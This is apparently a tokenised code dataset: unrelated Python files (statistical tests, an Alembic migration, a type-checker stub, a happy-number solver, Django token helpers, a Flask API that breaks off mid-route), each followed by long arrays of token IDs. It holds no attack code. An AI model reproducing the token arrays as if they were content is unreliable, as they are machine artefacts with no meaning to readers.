5510, 29918, 5085, 580, 13, 1678, 3856, 305, 29918, 517, 29918, 3389, 353, 3856, 305, 29918, 2917, 29961, 5085, 29889, 1785, 16580, 29962, 13, 13, 1678, 2322, 29918, 5085, 353, 9657, 29898, 3389, 29918, 21970, 29922, 8824, 29897, 13, 1678, 599, 29918, 9902, 353, 5159, 13, 1678, 363, 274, 16434, 29918, 262, 297, 3856, 305, 29918, 517, 29918, 3389, 29901, 13, 4706, 396, 6978, 385, 3935, 24673, 1203, 2012, 310, 385, 24673, 29918, 978, 1347, 13, 4706, 274, 16434, 353, 274, 16434, 29918, 262, 29889, 8552, 580, 13, 4706, 24673, 353, 14009, 29889, 20567, 29918, 1609, 29918, 978, 29898, 16859, 29918, 262, 3366, 284, 1484, 29918, 978, 20068, 13, 4706, 274, 16434, 3366, 9564, 359, 3108, 353, 518, 284, 1484, 29962, 13, 4706, 628, 274, 16434, 3366, 284, 1484, 29918, 978, 3108, 13, 4706, 620, 353, 1065, 29918, 5927, 800, 29898, 1068, 29912, 1068, 4381, 29918, 5085, 29892, 3579, 16859, 1800, 13, 4706, 599, 29918, 9902, 29889, 4397, 29898, 690, 29897, 13, 13, 1678, 2582, 29918, 2176, 353, 10518, 29889, 17685, 29898, 497, 29918, 9902, 29897, 13, 1678, 1596, 29898, 9902, 29918, 2176, 29897, 13, 1678, 565, 6389, 29889, 294, 29894, 2585, 29901, 13, 4706, 3461, 29918, 294, 29894, 29898, 9902, 29918, 2176, 29892, 6389, 29889, 294, 29894, 2585, 29897, 13, 2 ]
fgivenx/test/test_mass.py
ejhigson/fgivenx
11
11716
import numpy import pytest import os from shutil import rmtree from numpy.testing import assert_allclose import scipy.stats import scipy.integrate import scipy.special from fgivenx.mass import PMF, compute_pmf def gaussian_pmf(y, mu=0, sigma=1): return scipy.special.erfc(numpy.abs(y-mu)/numpy.sqrt(2)/sigma) def test_gaussian(): numpy.random.seed(0) nsamp = 5000 samples = numpy.random.randn(nsamp) y = numpy.random.uniform(-3, 3, 10) m = PMF(samples, y) m_ = gaussian_pmf(y) assert_allclose(m, m_, rtol=3e-1) def test_PMF(): # Compute samples numpy.random.seed(0) nsamp = 100 samples = numpy.concatenate((-5+numpy.random.randn(nsamp//2), 5+numpy.random.randn(nsamp//2))) # Compute PMF y = numpy.random.uniform(-10, 10, 10) m = PMF(samples, y) # Compute PMF via monte carlo N = 100000 kernel = scipy.stats.gaussian_kde(samples) s = kernel.resample(N)[0] m_ = [sum(kernel(s) <= kernel(y_i))/float(N) for y_i in y] assert_allclose(m, m_, atol=3*N**-0.5) # Compute PMF via quadrature m_ = [scipy.integrate.quad(lambda x: kernel(x)*(kernel(x) <= kernel(y_i)), -numpy.inf, numpy.inf, limit=500)[0] for y_i in y] assert_allclose(m, m_, atol=1e-4) assert_allclose([0, 0], PMF(samples, [-1e3, 1e3])) samples = [0, 0] m = PMF(samples, y) assert_allclose(m, numpy.zeros_like(y)) def test_compute_pmf(): with pytest.raises(TypeError): compute_pmf(None, None, wrong_argument=None) cache = '.test_cache/test' numpy.random.seed(0) nsamp = 5000 a, b, e, f = 0, 1, 0, 1 m = numpy.random.normal(a, b, nsamp) c = numpy.random.normal(e, f, nsamp) nx = 100 x = numpy.linspace(-1, 1, nx) fsamps = (numpy.outer(x, m) + c) ny = 100 y = numpy.linspace(-3, 3, ny) assert(not os.path.isfile(cache + '_masses.pkl')) m = compute_pmf(fsamps, y, cache=cache) assert(os.path.isfile(cache + '_masses.pkl')) m_ = [gaussian_pmf(y, a*xi+e, numpy.sqrt(b**2*xi**2+f**2)) for xi in x] assert_allclose(m.transpose(), m_, atol=3e-1) m = compute_pmf(fsamps, y, cache=cache) assert_allclose(m.transpose(), m_, atol=3e-1) rmtree('.test_cache')
[ 1, 1053, 12655, 13, 5215, 11451, 1688, 13, 5215, 2897, 13, 3166, 528, 4422, 1053, 364, 4378, 929, 13, 3166, 12655, 29889, 13424, 1053, 4974, 29918, 497, 5358, 13, 5215, 4560, 2272, 29889, 16202, 13, 5215, 4560, 2272, 29889, 14146, 403, 13, 5215, 4560, 2272, 29889, 18732, 13, 3166, 285, 29887, 5428, 29916, 29889, 25379, 1053, 11278, 29943, 29892, 10272, 29918, 3358, 29888, 13, 13, 13, 1753, 330, 17019, 29918, 3358, 29888, 29898, 29891, 29892, 3887, 29922, 29900, 29892, 269, 2934, 29922, 29896, 1125, 13, 1678, 736, 4560, 2272, 29889, 18732, 29889, 261, 13801, 29898, 23749, 29889, 6897, 29898, 29891, 29899, 2589, 6802, 23749, 29889, 3676, 29898, 29906, 6802, 3754, 29897, 13, 13, 13, 1753, 1243, 29918, 29887, 17019, 7295, 13, 1678, 12655, 29889, 8172, 29889, 26776, 29898, 29900, 29897, 13, 1678, 17534, 1160, 353, 29871, 29945, 29900, 29900, 29900, 13, 1678, 11916, 353, 12655, 29889, 8172, 29889, 9502, 29876, 29898, 1983, 1160, 29897, 13, 1678, 343, 353, 12655, 29889, 8172, 29889, 29590, 6278, 29941, 29892, 29871, 29941, 29892, 29871, 29896, 29900, 29897, 13, 1678, 286, 353, 11278, 29943, 29898, 27736, 29892, 343, 29897, 13, 1678, 286, 29918, 353, 330, 17019, 29918, 3358, 29888, 29898, 29891, 29897, 13, 1678, 4974, 29918, 497, 5358, 29898, 29885, 29892, 286, 3383, 364, 25027, 29922, 29941, 29872, 29899, 29896, 29897, 13, 13, 13, 1753, 1243, 29918, 13427, 29943, 7295, 13, 1678, 396, 11796, 29872, 11916, 13, 1678, 12655, 29889, 8172, 29889, 26776, 29898, 29900, 29897, 13, 1678, 17534, 1160, 353, 29871, 29896, 29900, 29900, 13, 1678, 11916, 353, 12655, 29889, 535, 29883, 2579, 403, 3552, 29899, 29945, 29974, 23749, 29889, 8172, 29889, 9502, 29876, 29898, 1983, 1160, 458, 29906, 511, 13, 462, 462, 29871, 29945, 29974, 23749, 29889, 8172, 29889, 9502, 29876, 29898, 1983, 1160, 458, 29906, 4961, 13, 13, 1678, 396, 11796, 29872, 11278, 29943, 13, 1678, 343, 353, 12655, 29889, 8172, 29889, 29590, 6278, 29896, 29900, 29892, 29871, 29896, 29900, 29892, 29871, 29896, 29900, 29897, 13, 1678, 286, 353, 11278, 29943, 29898, 27736, 29892, 343, 29897, 13, 13, 1678, 396, 11796, 29872, 11278, 29943, 3025, 1601, 371, 1559, 417, 13, 1678, 405, 353, 29871, 29896, 29900, 29900, 29900, 29900, 29900, 13, 1678, 8466, 353, 4560, 2272, 29889, 16202, 29889, 29887, 17019, 29918, 29895, 311, 29898, 27736, 29897, 13, 1678, 269, 353, 8466, 29889, 690, 981, 29898, 29940, 9601, 29900, 29962, 13, 1678, 286, 29918, 353, 518, 2083, 29898, 17460, 29898, 29879, 29897, 5277, 8466, 29898, 29891, 29918, 29875, 876, 29914, 7411, 29898, 29940, 29897, 363, 343, 29918, 29875, 297, 343, 29962, 13, 1678, 4974, 29918, 497, 5358, 29898, 29885, 29892, 286, 3383, 472, 324, 29922, 29941, 29930, 29940, 1068, 29899, 29900, 29889, 29945, 29897, 13, 13, 1678, 396, 11796, 29872, 11278, 29943, 3025, 15448, 1535, 13, 1678, 286, 29918, 353, 518, 26167, 2272, 29889, 14146, 403, 29889, 3425, 29898, 2892, 921, 29901, 8466, 29898, 29916, 11877, 29898, 17460, 29898, 29916, 29897, 5277, 8466, 29898, 29891, 29918, 29875, 8243, 13, 462, 1669, 448, 23749, 29889, 7192, 29892, 12655, 29889, 7192, 29892, 4046, 29922, 29945, 29900, 29900, 9601, 29900, 29962, 13, 3986, 363, 343, 29918, 29875, 297, 343, 29962, 13, 1678, 4974, 29918, 497, 5358, 29898, 29885, 29892, 286, 3383, 472, 324, 29922, 29896, 29872, 29899, 29946, 29897, 13, 13, 1678, 4974, 29918, 497, 5358, 4197, 29900, 29892, 29871, 29900, 1402, 11278, 29943, 29898, 27736, 29892, 21069, 29896, 29872, 29941, 29892, 29871, 29896, 29872, 29941, 12622, 13, 13, 1678, 11916, 353, 518, 29900, 29892, 29871, 29900, 29962, 13, 1678, 286, 353, 11278, 29943, 29898, 27736, 29892, 343, 29897, 13, 1678, 4974, 29918, 497, 5358, 29898, 29885, 29892, 12655, 29889, 3298, 359, 29918, 4561, 29898, 29891, 876, 13, 13, 13, 1753, 1243, 29918, 26017, 29918, 3358, 29888, 7295, 13, 13, 1678, 411, 11451, 1688, 29889, 336, 4637, 29898, 1542, 2392, 1125, 13, 4706, 10272, 29918, 3358, 29888, 29898, 8516, 29892, 6213, 29892, 2743, 29918, 23516, 29922, 8516, 29897, 13, 13, 1678, 7090, 353, 15300, 1688, 29918, 8173, 29914, 1688, 29915, 13, 1678, 12655, 29889, 8172, 29889, 26776, 29898, 29900, 29897, 13, 1678, 17534, 1160, 353, 29871, 29945, 29900, 29900, 29900, 13, 1678, 263, 29892, 289, 29892, 321, 29892, 285, 353, 29871, 29900, 29892, 29871, 29896, 29892, 29871, 29900, 29892, 29871, 29896, 13, 1678, 286, 353, 12655, 29889, 8172, 29889, 8945, 29898, 29874, 29892, 289, 29892, 17534, 1160, 29897, 13, 1678, 274, 353, 12655, 29889, 8172, 29889, 8945, 29898, 29872, 29892, 285, 29892, 17534, 1160, 29897, 13, 1678, 302, 29916, 353, 29871, 29896, 29900, 29900, 13, 1678, 921, 353, 12655, 29889, 1915, 3493, 6278, 29896, 29892, 29871, 29896, 29892, 302, 29916, 29897, 13, 1678, 285, 13445, 567, 353, 313, 23749, 29889, 5561, 29898, 29916, 29892, 286, 29897, 718, 274, 29897, 13, 1678, 7098, 353, 29871, 29896, 29900, 29900, 13, 1678, 343, 353, 12655, 29889, 1915, 3493, 6278, 29941, 29892, 29871, 29941, 29892, 7098, 29897, 13, 13, 1678, 4974, 29898, 1333, 2897, 29889, 2084, 29889, 275, 1445, 29898, 8173, 718, 22868, 25379, 267, 29889, 29886, 6321, 8785, 13, 1678, 286, 353, 10272, 29918, 3358, 29888, 29898, 5847, 15092, 29892, 343, 29892, 7090, 29922, 8173, 29897, 13, 1678, 4974, 29898, 359, 29889, 2084, 29889, 275, 1445, 29898, 8173, 718, 22868, 25379, 267, 29889, 29886, 6321, 8785, 13, 13, 1678, 286, 29918, 353, 518, 29887, 17019, 29918, 3358, 29888, 29898, 29891, 29892, 263, 29930, 5389, 29974, 29872, 29892, 12655, 29889, 3676, 29898, 29890, 1068, 29906, 29930, 5389, 1068, 29906, 29974, 29888, 1068, 29906, 876, 363, 921, 29875, 297, 921, 29962, 13, 1678, 4974, 29918, 497, 5358, 29898, 29885, 29889, 3286, 4220, 3285, 286, 3383, 472, 324, 29922, 29941, 29872, 29899, 29896, 29897, 13, 13, 1678, 286, 353, 10272, 29918, 3358, 29888, 29898, 5847, 15092, 29892, 343, 29892, 7090, 29922, 8173, 29897, 13, 1678, 4974, 29918, 497, 5358, 29898, 29885, 29889, 3286, 4220, 3285, 286, 3383, 472, 324, 29922, 29941, 29872, 29899, 29896, 29897, 13, 13, 1678, 364, 4378, 929, 12839, 1688, 29918, 8173, 1495, 13, 2 ]
FSMSIM/expr/__init__.py
FSMSIM/FSMSIM
0
175120
from FSMSIM.expr.and_expr import * from FSMSIM.expr.arr_access_expr import * from FSMSIM.expr.arr_expr import * from FSMSIM.expr.bool_expr import * from FSMSIM.expr.concat_expr import * from FSMSIM.expr.eq_expr import * from FSMSIM.expr.expr import * from FSMSIM.expr.neq_expr import * from FSMSIM.expr.or_expr import * from FSMSIM.expr.output_expr import * from FSMSIM.expr.slice_expr import * from FSMSIM.expr.string_expr import * from FSMSIM.expr.var_expr import *
[ 1, 515, 383, 29903, 4345, 7833, 29889, 13338, 29889, 392, 29918, 13338, 1053, 334, 13, 3166, 383, 29903, 4345, 7833, 29889, 13338, 29889, 2749, 29918, 5943, 29918, 13338, 1053, 334, 13, 3166, 383, 29903, 4345, 7833, 29889, 13338, 29889, 2749, 29918, 13338, 1053, 334, 13, 3166, 383, 29903, 4345, 7833, 29889, 13338, 29889, 11227, 29918, 13338, 1053, 334, 13, 3166, 383, 29903, 4345, 7833, 29889, 13338, 29889, 17685, 29918, 13338, 1053, 334, 13, 3166, 383, 29903, 4345, 7833, 29889, 13338, 29889, 1837, 29918, 13338, 1053, 334, 13, 3166, 383, 29903, 4345, 7833, 29889, 13338, 29889, 13338, 1053, 334, 13, 3166, 383, 29903, 4345, 7833, 29889, 13338, 29889, 10743, 29918, 13338, 1053, 334, 13, 3166, 383, 29903, 4345, 7833, 29889, 13338, 29889, 272, 29918, 13338, 1053, 334, 13, 3166, 383, 29903, 4345, 7833, 29889, 13338, 29889, 4905, 29918, 13338, 1053, 334, 13, 3166, 383, 29903, 4345, 7833, 29889, 13338, 29889, 18337, 29918, 13338, 1053, 334, 13, 3166, 383, 29903, 4345, 7833, 29889, 13338, 29889, 1807, 29918, 13338, 1053, 334, 13, 3166, 383, 29903, 4345, 7833, 29889, 13338, 29889, 1707, 29918, 13338, 1053, 334, 13, 2 ]
alembic/versions/1d3b0df7f698_add_users_table.py
go-lab/appcomposer
1
126982
<filename>alembic/versions/1d3b0df7f698_add_users_table.py """Add Users table Revision ID: <PASSWORD> Revises: None Create Date: 2013-09-16 13:16:21.622369 """ # revision identifiers, used by Alembic. revision = '<PASSWORD>' down_revision = None from alembic import op import sqlalchemy as sa def upgrade(): ### commands auto generated by Alembic - please adjust! ### op.create_table('Users', sa.Column('id', sa.Integer(), nullable=False), sa.Column('login', sa.Unicode(length=50), nullable=True), sa.Column('name', sa.Unicode(length=50), nullable=False), sa.Column('password', sa.Unicode(length=50), nullable=False), sa.PrimaryKeyConstraint('id'), sa.UniqueConstraint('login') ) ### end Alembic commands ### def downgrade(): ### commands auto generated by Alembic - please adjust! ### op.drop_table('Users') ### end Alembic commands ###
[ 1, 529, 9507, 29958, 744, 8337, 293, 29914, 26100, 29914, 29896, 29881, 29941, 29890, 29900, 2176, 29955, 29888, 29953, 29929, 29947, 29918, 1202, 29918, 7193, 29918, 2371, 29889, 2272, 13, 15945, 29908, 2528, 23861, 1591, 13, 13, 1123, 4924, 3553, 29901, 529, 25711, 17013, 29958, 13, 1123, 1730, 267, 29901, 6213, 13, 4391, 4712, 29901, 29871, 29906, 29900, 29896, 29941, 29899, 29900, 29929, 29899, 29896, 29953, 29871, 29896, 29941, 29901, 29896, 29953, 29901, 29906, 29896, 29889, 29953, 29906, 29906, 29941, 29953, 29929, 13, 13, 15945, 29908, 13, 13, 29937, 26554, 2893, 14903, 29892, 1304, 491, 319, 2409, 29890, 293, 29889, 13, 276, 4924, 353, 12801, 25711, 17013, 16299, 13, 3204, 29918, 276, 4924, 353, 6213, 13, 13, 3166, 20712, 29890, 293, 1053, 1015, 13, 5215, 4576, 284, 305, 6764, 408, 872, 13, 13, 13, 1753, 14955, 7295, 13, 1678, 835, 8260, 4469, 5759, 491, 319, 2409, 29890, 293, 448, 3113, 10365, 29991, 835, 13, 1678, 1015, 29889, 3258, 29918, 2371, 877, 5959, 742, 13, 1678, 872, 29889, 4409, 877, 333, 742, 872, 29889, 7798, 3285, 1870, 519, 29922, 8824, 511, 13, 1678, 872, 29889, 4409, 877, 7507, 742, 872, 29889, 2525, 12858, 29898, 2848, 29922, 29945, 29900, 511, 1870, 519, 29922, 5574, 511, 13, 1678, 872, 29889, 4409, 877, 978, 742, 872, 29889, 2525, 12858, 29898, 2848, 29922, 29945, 29900, 511, 1870, 519, 29922, 8824, 511, 13, 1678, 872, 29889, 4409, 877, 5630, 742, 872, 29889, 2525, 12858, 29898, 2848, 29922, 29945, 29900, 511, 1870, 519, 29922, 8824, 511, 13, 1678, 872, 29889, 26666, 2558, 21529, 877, 333, 5477, 13, 1678, 872, 29889, 8110, 802, 21529, 877, 7507, 1495, 13, 1678, 1723, 13, 1678, 835, 1095, 319, 2409, 29890, 293, 8260, 835, 13, 13, 13, 1753, 1623, 8228, 7295, 13, 1678, 835, 8260, 4469, 5759, 491, 319, 2409, 29890, 293, 448, 3113, 10365, 29991, 835, 13, 1678, 1015, 29889, 8865, 29918, 2371, 877, 5959, 1495, 13, 1678, 835, 1095, 319, 2409, 29890, 293, 8260, 835, 13, 2 ]
pythonexercicios/ex074.py
andrebatist4/cursoemvideo-python
0
150846
<gh_stars>0 import numpy as np alea = (np.random.randint(0, 10, (5))) print(alea) print(f'O maior número sorteado foi {max(alea)}') print(f'O menor número sorteado foi {min(alea)}')
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 5215, 12655, 408, 7442, 13, 744, 29874, 353, 313, 9302, 29889, 8172, 29889, 9502, 524, 29898, 29900, 29892, 29871, 29896, 29900, 29892, 313, 29945, 4961, 13, 2158, 29898, 744, 29874, 29897, 13, 2158, 29898, 29888, 29915, 29949, 17136, 13831, 29835, 912, 4732, 426, 3317, 29898, 744, 29874, 2915, 1495, 13, 2158, 29898, 29888, 29915, 29949, 26764, 13831, 29835, 912, 4732, 426, 1195, 29898, 744, 29874, 2915, 1495, 13, 2 ]
proud/unification/interface.py
RemuLang/proud
16
88561
<gh_stars>10-100 from proud.unification.type_encode import * from proud.unification.tc_make import make from contextlib import contextmanager import typing as t class TCState: def __init__(self): make(self) def push_level(self) -> Level: raise NotImplementedError def new_var(self, *props, Var=None, **kwargs) -> Var: raise NotImplementedError def user_var(self, *props, Var=None, **kwargs) -> Var: """ create a tv, which can be treated as a closed one for all levels """ raise NotImplementedError def occur_in(self, var: T, ty: T) -> bool: raise NotImplementedError def inst(self, maybepoly: T, rigid=False) -> t.Tuple[t.Dict[T, Var], T]: raise NotImplementedError def infer(self, ty: T) -> T: raise NotImplementedError def unify(self, lhs: T, rhs: T) -> None: raise NotImplementedError def extract_row(self, rowt: Row) -> t.Optional[t.Dict[str, T]]: raise NotImplementedError
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29900, 29899, 29896, 29900, 29900, 13, 3166, 22314, 29889, 348, 2450, 29889, 1853, 29918, 12508, 1053, 334, 13, 3166, 22314, 29889, 348, 2450, 29889, 14246, 29918, 5675, 1053, 1207, 13, 3166, 3030, 1982, 1053, 3030, 12847, 13, 5215, 19229, 408, 260, 13, 13, 13, 1990, 323, 29907, 2792, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 1207, 29898, 1311, 29897, 13, 13, 1678, 822, 5503, 29918, 5563, 29898, 1311, 29897, 1599, 21597, 29901, 13, 4706, 12020, 2216, 1888, 2037, 287, 2392, 13, 13, 1678, 822, 716, 29918, 1707, 29898, 1311, 29892, 334, 11030, 29892, 11681, 29922, 8516, 29892, 3579, 19290, 29897, 1599, 11681, 29901, 13, 4706, 12020, 2216, 1888, 2037, 287, 2392, 13, 13, 1678, 822, 1404, 29918, 1707, 29898, 1311, 29892, 334, 11030, 29892, 11681, 29922, 8516, 29892, 3579, 19290, 29897, 1599, 11681, 29901, 13, 4706, 9995, 13, 4706, 1653, 263, 9631, 29892, 607, 508, 367, 14914, 408, 263, 5764, 697, 13, 4706, 363, 599, 11174, 13, 4706, 9995, 13, 4706, 12020, 2216, 1888, 2037, 287, 2392, 13, 13, 1678, 822, 6403, 29918, 262, 29898, 1311, 29892, 722, 29901, 323, 29892, 7911, 29901, 323, 29897, 1599, 6120, 29901, 13, 4706, 12020, 2216, 1888, 2037, 287, 2392, 13, 13, 1678, 822, 832, 29898, 1311, 29892, 5505, 22678, 29901, 323, 29892, 12912, 333, 29922, 8824, 29897, 1599, 260, 29889, 23215, 552, 29961, 29873, 29889, 21533, 29961, 29911, 29892, 11681, 1402, 323, 5387, 13, 4706, 12020, 2216, 1888, 2037, 287, 2392, 13, 13, 1678, 822, 10115, 29898, 1311, 29892, 7911, 29901, 323, 29897, 1599, 323, 29901, 13, 4706, 12020, 2216, 1888, 2037, 287, 2392, 13, 13, 1678, 822, 443, 1598, 29898, 1311, 29892, 301, 9499, 29901, 323, 29892, 29365, 29901, 323, 29897, 1599, 6213, 29901, 13, 4706, 12020, 2216, 1888, 2037, 287, 2392, 13, 13, 1678, 822, 6597, 29918, 798, 29898, 1311, 29892, 1948, 29873, 29901, 11438, 29897, 1599, 260, 29889, 27636, 29961, 29873, 29889, 21533, 29961, 710, 29892, 323, 5262, 29901, 13, 4706, 12020, 2216, 1888, 2037, 287, 2392, 13, 2 ]
pbj/electrostatics/pb_formulation/__init__.py
kstylesc/PBJ
0
152100
import pbj.electrostatics.pb_formulation.formulations as formulations import pbj.electrostatics.pb_formulation.preconditioning as preconditioning
[ 1, 1053, 282, 29890, 29926, 29889, 15436, 307, 6112, 1199, 29889, 24381, 29918, 689, 2785, 29889, 689, 8250, 408, 883, 8250, 13, 5215, 282, 29890, 29926, 29889, 15436, 307, 6112, 1199, 29889, 24381, 29918, 689, 2785, 29889, 1457, 16122, 292, 408, 758, 16122, 292, 2 ]
200-299/200-209/202.py
dcragusa/LeetCode
0
52737
""" Write an algorithm to determine if a number n is happy. A happy number is a number defined by the following process: - Starting with any positive integer, replace the number by the sum of the squares of its digits. - Repeat the process until the number equals 1 (where it will stay), or it loops endlessly in a cycle without 1. - Those numbers for which this process ends in 1 are happy. Example 1: Input: n = 19, Output: true Explanation: 1^2 + 9^2 = 82 8^2 + 2^2 = 68 6^2 + 8^2 = 100 1^2 + 0^2 + 0^2 = 1 Example 2: Input: n = 2 Output: false Explanation: 2^2 = 4 4^2 = 16 1^2 + 6^2 = 37 3^2 + 7^2 = 58 5^2 + 8^2 = 89 8^2 + 9^2 = 145 1^2 + 4^2 + 5^2 = 42 4^2 + 2^2 = 20 2^2 + 0^2 = 4 <-- cycle without 1 """ """ We repeatedly perform the 'happy' determination for each number, then add it to a set, until we find a number we have seen before. If this number is a 1, the overall number is happy. """ def is_happy(n): seen = set() while n not in seen: seen.add(n) new_n = 0 for char in str(n): new_n += int(char) ** 2 n = new_n return n == 1 assert is_happy(19) is True assert is_happy(2) is False
[ 1, 9995, 13, 6113, 385, 5687, 304, 8161, 565, 263, 1353, 302, 338, 9796, 29889, 13, 13, 29909, 9796, 1353, 338, 263, 1353, 3342, 491, 278, 1494, 1889, 29901, 13, 29899, 23748, 411, 738, 6374, 6043, 29892, 5191, 278, 1353, 491, 278, 2533, 310, 278, 25256, 310, 967, 13340, 29889, 13, 29899, 830, 11666, 278, 1889, 2745, 278, 1353, 15743, 29871, 29896, 313, 3062, 372, 674, 7952, 511, 470, 372, 12104, 1095, 23769, 297, 263, 11412, 1728, 29871, 29896, 29889, 13, 29899, 16025, 3694, 363, 607, 445, 1889, 10614, 297, 29871, 29896, 526, 9796, 29889, 13, 13, 14023, 29871, 29896, 29901, 13, 4290, 29901, 302, 353, 29871, 29896, 29929, 29892, 29871, 10604, 29901, 1565, 13, 1252, 9018, 362, 29901, 13, 29896, 29985, 29906, 718, 29871, 29929, 29985, 29906, 353, 29871, 29947, 29906, 13, 29947, 29985, 29906, 718, 29871, 29906, 29985, 29906, 353, 29871, 29953, 29947, 13, 29953, 29985, 29906, 718, 29871, 29947, 29985, 29906, 353, 29871, 29896, 29900, 29900, 13, 29896, 29985, 29906, 718, 29871, 29900, 29985, 29906, 718, 29871, 29900, 29985, 29906, 353, 29871, 29896, 13, 13, 14023, 29871, 29906, 29901, 13, 4290, 29901, 302, 353, 29871, 29906, 13, 6466, 29901, 2089, 13, 1252, 9018, 362, 29901, 13, 29906, 29985, 29906, 353, 29871, 29946, 13, 29946, 29985, 29906, 353, 29871, 29896, 29953, 13, 29896, 29985, 29906, 718, 29871, 29953, 29985, 29906, 353, 29871, 29941, 29955, 13, 29941, 29985, 29906, 718, 29871, 29955, 29985, 29906, 353, 29871, 29945, 29947, 13, 29945, 29985, 29906, 718, 29871, 29947, 29985, 29906, 353, 29871, 29947, 29929, 13, 29947, 29985, 29906, 718, 29871, 29929, 29985, 29906, 353, 29871, 29896, 29946, 29945, 13, 29896, 29985, 29906, 718, 29871, 29946, 29985, 29906, 718, 29871, 29945, 29985, 29906, 353, 29871, 29946, 29906, 13, 29946, 29985, 29906, 718, 29871, 29906, 29985, 29906, 353, 29871, 29906, 29900, 13, 29906, 29985, 29906, 718, 29871, 29900, 29985, 29906, 353, 29871, 29946, 29871, 529, 489, 11412, 1728, 29871, 29896, 13, 15945, 29908, 13, 13, 15945, 29908, 13, 4806, 28424, 2189, 278, 525, 29882, 14862, 29915, 3683, 3381, 363, 1269, 1353, 29892, 769, 788, 372, 304, 263, 731, 29892, 2745, 591, 1284, 263, 1353, 591, 505, 13, 28026, 1434, 29889, 960, 445, 1353, 338, 263, 29871, 29896, 29892, 278, 12463, 1353, 338, 9796, 29889, 13, 15945, 29908, 13, 13, 13, 1753, 338, 29918, 29882, 14862, 29898, 29876, 1125, 13, 1678, 3595, 353, 731, 580, 13, 1678, 1550, 302, 451, 297, 3595, 29901, 13, 4706, 3595, 29889, 1202, 29898, 29876, 29897, 13, 4706, 716, 29918, 29876, 353, 29871, 29900, 13, 4706, 363, 1373, 297, 851, 29898, 29876, 1125, 13, 9651, 716, 29918, 29876, 4619, 938, 29898, 3090, 29897, 3579, 29871, 29906, 13, 4706, 302, 353, 716, 29918, 29876, 13, 1678, 736, 302, 1275, 29871, 29896, 13, 13, 13, 9294, 338, 29918, 29882, 14862, 29898, 29896, 29929, 29897, 338, 5852, 13, 9294, 338, 29918, 29882, 14862, 29898, 29906, 29897, 338, 7700, 13, 2 ]
sesame/utils.py
GamePad64/django-sesame
0
35123
<reponame>GamePad64/django-sesame<gh_stars>0 from __future__ import unicode_literals from .backends import UrlAuthBackendMixin from .compatibility import urlencode from .middleware import TOKEN_NAME def get_parameters(user): """ Return GET parameters to log in `user`. """ return {TOKEN_NAME: UrlAuthBackendMixin().create_token(user)} def get_query_string(user): """ Return a complete query string to log in `user`. """ return '?' + urlencode(get_parameters(user))
[ 1, 529, 276, 1112, 420, 29958, 14199, 20369, 29953, 29946, 29914, 14095, 29899, 29879, 267, 420, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 4770, 29888, 9130, 1649, 1053, 29104, 29918, 20889, 1338, 13, 13, 3166, 869, 1627, 1975, 1053, 501, 2096, 6444, 5841, 355, 29924, 861, 262, 13, 3166, 869, 12667, 4127, 1053, 3142, 12508, 13, 3166, 869, 17662, 2519, 1053, 7495, 29968, 1430, 29918, 5813, 13, 13, 13, 1753, 679, 29918, 16744, 29898, 1792, 1125, 13, 1678, 9995, 13, 1678, 7106, 12354, 4128, 304, 1480, 297, 421, 1792, 1412, 13, 13, 1678, 9995, 13, 1678, 736, 426, 4986, 29968, 1430, 29918, 5813, 29901, 501, 2096, 6444, 5841, 355, 29924, 861, 262, 2141, 3258, 29918, 6979, 29898, 1792, 2915, 13, 13, 13, 1753, 679, 29918, 1972, 29918, 1807, 29898, 1792, 1125, 13, 1678, 9995, 13, 1678, 7106, 263, 4866, 2346, 1347, 304, 1480, 297, 421, 1792, 1412, 13, 13, 1678, 9995, 13, 1678, 736, 525, 17901, 718, 3142, 12508, 29898, 657, 29918, 16744, 29898, 1792, 876, 13, 2 ]
frontend/main.py
boazjohn/quarryio
1
118465
#!/usr/bin/python # Standard Library import argparse import datetime import json import logging import os import subprocess from functools import wraps # Third Party import requests import mixingboard from chassis.database import db_session from chassis.models import User, Account, JobHistory, Notification, Token from flask import Flask, redirect, jsonify, render_template, request, \ session, url_for from sqlalchemy import or_ # Local from api.main import api # parse args argParser = argparse.ArgumentParser(description='Run the Quarry server.') argParser.add_argument('-d', '--debug', action='store_true', help='Turn on debug mode') argParser.add_argument('-p', '--port', type=int, default=9000, help='Set the port') argParser.add_argument('-H', '--host', type=str, default='127.0.0.1', help='Set the port') argParser.add_argument('--no-sass', action='store_true', help='Disable sass compilation/watching') args, _ = argParser.parse_known_args() # put args in sensible all caps variables DEBUG = args.debug HOST = args.host PORT = args.port NO_SASS = args.no_sass # set up logging logger = logging.getLogger(__name__) logger.setLevel(logging.INFO) # start the sass watcher if needed if DEBUG and not NO_SASS: logger.info("Starting SASS watcher...") directory = os.path.dirname(os.path.abspath(__file__)) subprocess.Popen("sass --watch -l %s/static/sass/style.sass:%s/static/css/style.css" % (directory, directory), shell=True) # create flask app app = Flask(__name__, static_url_path='/static', static_folder='./static') app.secret_key = '<KEY>' app.register_blueprint(api, url_prefix='/beta') @app.context_processor def override_url_for(): return dict(url_for=dated_url_for) def dated_url_for(endpoint, **values): if endpoint == 'static': filename = values.get('filename', None) if filename: file_path = os.path.join(app.root_path, endpoint, filename) values['q'] = int(os.stat(file_path).st_mtime) return url_for(endpoint, **values) @app.teardown_appcontext def shutdown_session(exception=None): db_session.remove() # authentication stuff def requiresLogin(fn): @wraps(fn) def authFn(*args, **kwargs): if 'user' in session: return fn(*args, **kwargs) else: return jsonify({ "error": "This method requires an authenticated user" }), 400 return authFn @app.route('/api/histories/<jobType>') def history(jobType): """ Retrieve job history for a user/account GetParams: account: an account user: a user Returns: a json object conatining a list of saved queries """ account = session['user']['account']['id'] user = session['user']['id'] offset = int(request.args.get("offset",0)) count = int(request.args.get("count",20)) # TODO allow filtering to individual user histories = [] for history in JobHistory.query.filter(JobHistory.account_id == account, JobHistory.job_type==jobType) \ .order_by(JobHistory.created.desc()).limit(count).offset(offset): histories.append(history.dict()) return jsonify({ "histories": histories }) @app.route('/api/notifications') def notifications(): """ Retrieve notifications for a user/account GetParams: account: an account user: a user Returns: a json object conatining a list of saved queries """ account = session['user']['account']['id'] user = session['user']['id'] offset = int(request.args.get("offset",0)) count = int(request.args.get("count",20)) # TODO allow filtering to individual user notifications = [] for notification in Notification.query.filter(Notification.account_id == account, or_(Notification.user_id == user, Notification.user_id == None), Notification.read == None) \ .order_by(Notification.created.desc()).limit(count).offset(offset): notifications.append(notification.dict()) return jsonify({ "notifications": notifications }) @app.route('/api/notification/<notificationId>/read', 